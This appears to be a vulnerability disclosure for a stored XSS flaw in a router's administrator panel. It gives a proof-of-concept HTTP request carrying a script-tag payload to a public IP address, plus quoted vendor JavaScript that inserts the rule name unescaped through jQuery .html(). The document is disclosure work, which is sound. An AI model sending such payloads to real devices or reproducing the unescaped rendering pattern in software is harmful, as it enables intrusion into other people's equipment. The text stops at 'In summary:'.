XSS attacks are possible on the “Advanced - Advertisement/Notice - White List” section of the administrator panel.

PoC

POST /ubus HTTP/1.1
Host: 125.186.175.246
Content-Length: 156
X-Requested-With: XMLHttpRequest
Accept-Language: ko-KR,ko;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Origin: <http://125.186.175.246>
Referer: <http://125.186.175.246/advertisement.html>
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"jsonrpc":"2.0","id":2,"method":"call","params":["23b726599ff802597e4ebe9f421dc5e1","routerd","ad_set",{"type":2,"name":"<script>alert('XSS')</script>","mac":"aa:bb:cc:dd:ee:ff"}]}

image.png

image.png

Rule name Input Section

The advertisemen.html code receives the rule name as input.

<form action="javascript:void(0);" id="ad_frm" name="ad_frm" method="post" onSubmit="return false"><!--form表单在此-->	
	<div class="form-group clearfix">
		<label class="col-xs-6 col-sm-4 col-md-4 col-lg-5 f-label"></label>
		<div class="col-xs-6 col-sm-8 col-md-8 col-lg-7 f-control">
			<input type="text" id="ad_name" name="ad_name" class="form-control" value="" maxlength="32" />
		</div>
	</div>
	<div class="form-group clearfix">
		<label class="col-xs-6 col-sm-4 col-md-4 col-lg-5 f-label"></label>
		<div class="col-xs-6 col-sm-8 col-md-8 col-lg-7 f-control">
			<input type="text" id="ad_mac" name="ad_mac" class="form-control" value="" maxlength="17" />
		</div>
	</div>
</form>

It is then inserted into HTML in advertisement.js, PublicPlugin/table.js without any escaping.

function ad_list_show(){
  var a1={"jsonrpc": "2.0", "id": 2, "method": "call", "params": [ localStorage.getItem('token_id'), "routerd", "ad_get", {"type": 2} ] }
	a1=JSON.stringify(a1);
	request({
		url:"/ubus",
		data:a1
	}).done(function(data){
		data=JSON.stringify(data);
	  data = eval("(" + data + ")");
	  if(check_data(data)){  
			var result = data.result[1].lists;
			var id=1;
			for(var i in result){
				result[i].id=id++;
			}
			init_ad_admin_tab(result);
			console.log(result);
	  }
	}).fail(function(data){
		//show_request_err(data);
	})
}

function init_ad_admin_tab(data){
	dataTable_new = [];
	$.each(data, function(i,val) {
		dataTable_new.push(data[i]);
	});
  //console.log(dataTable_new);
  
  var new_data=dataChangeTo(dataTable_new);
	var tab = new window.top.Table("ad_table",appJs["table-title"],new_data);
	
	tab.initTable();
}

Table.prototype.initTable = function(){
	this.elem.html("");
	this.isIE7();
	this.initHead();
	this.initBody();
	this.initFooter();
}

Table.prototype.initBody = function(){
	var _this = this;
    var curTabFooter = this.elem.find(".TabBody");
    if(curTabFooter.length > 0){
        curTabFooter.remove();
    }
	this.$body = $("<tbody/>");
	this.$body.addClass("TabBody");
	
	var data = this.getData();
	//暂无任何内容
	var info = this.options.info ? this.options.info : window.top.L.item_null;
	if(data.length == 0){
		_this.$body.eq(0).html("<tr class=\\"no-data\\"><td class=\\"no-data\\" colspan=\\""+ this.head.length +"\\"><p>"+ info +"</p></td></tr>");
	}
	$.each(data,function(row,row_val){
		var data_row = $("<tr/>");
		if(row % 2 != 0){
			data_row.addClass("evenrow");
		}
		var index = 0;
		$.each(row_val,function(cell,cell_val){
			var data_cell = $("<td/>");
			if(_this.head)
				data_cell.attr("data-th",_this.head[index]);
			if(index == 0){ 
				if(_this.options.auto_index == true)
					data_cell.html((_this.options.index-1) * _this.options.size + (row + 1));
				else
					data_cell.html(cell_val);
			}
			else
				data_cell.html(cell_val);
			index++;
			data_row.append(data_cell);
		});
		_this.$body.eq(0).append(data_row);
	});
	if(_this.ie7)
		_this.IE7_fill(this.$body);
	else
		this.elem.append(this.$body);
}

In summary: